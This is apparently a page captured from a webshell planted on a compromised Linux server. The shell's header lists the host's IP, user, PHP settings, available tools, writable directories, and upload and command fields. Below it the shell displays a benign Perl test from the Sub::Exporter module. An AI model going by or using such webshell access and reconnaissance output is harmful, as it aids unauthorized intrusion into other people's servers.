403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.148.241.79
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/share/doc/perl-Sub-Exporter/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/share/doc/perl-Sub-Exporter/t/col-init.t
#!/usr/bin/perl -T
use strict;
use warnings;

=head1 TEST PURPOSE

These tests exercise the handling of collections in the exporter option lists.

=cut

use Test::More tests => 3;
use Data::OptList qw(mkopt_hash);

BEGIN { use_ok('Sub::Exporter'); }

sub is_defined {
  my ($class, $value, $arg) = @_;
  return defined $value;
}

my $counter = 0;

my $config = {
  exports    => [ qw(circsaw drill handsaw nailgun) ],
  collectors => [
    INIT => sub {
      my ($value, $arg) = @_;
      return 0 if @{$arg->{import_args}}; # in other words, fail if args
      $_[0] = [ $counter++ ];
      return 1;
    },
  ]
};

$config->{$_} = mkopt_hash($config->{$_}) for qw(exports collectors);

{
  my $collection = Sub::Exporter::_collect_collections(
    $config, 
    [ ],
    'main',
  );

  is_deeply(
    $collection,
    { INIT => [ 0 ] },
    "collection returned properly from collector",
  );
}

{
  my $collection = eval {
    Sub::Exporter::_collect_collections(
      $config, 
      [ [ handsaw => undef ] ],
      'main',
    );
  };

  like(
    $@,
    qr/INIT failed/,
    "the init collector is run even when other things are here",
  );
}

Youez - 2016 - github.com/yon3zu
LinuXploit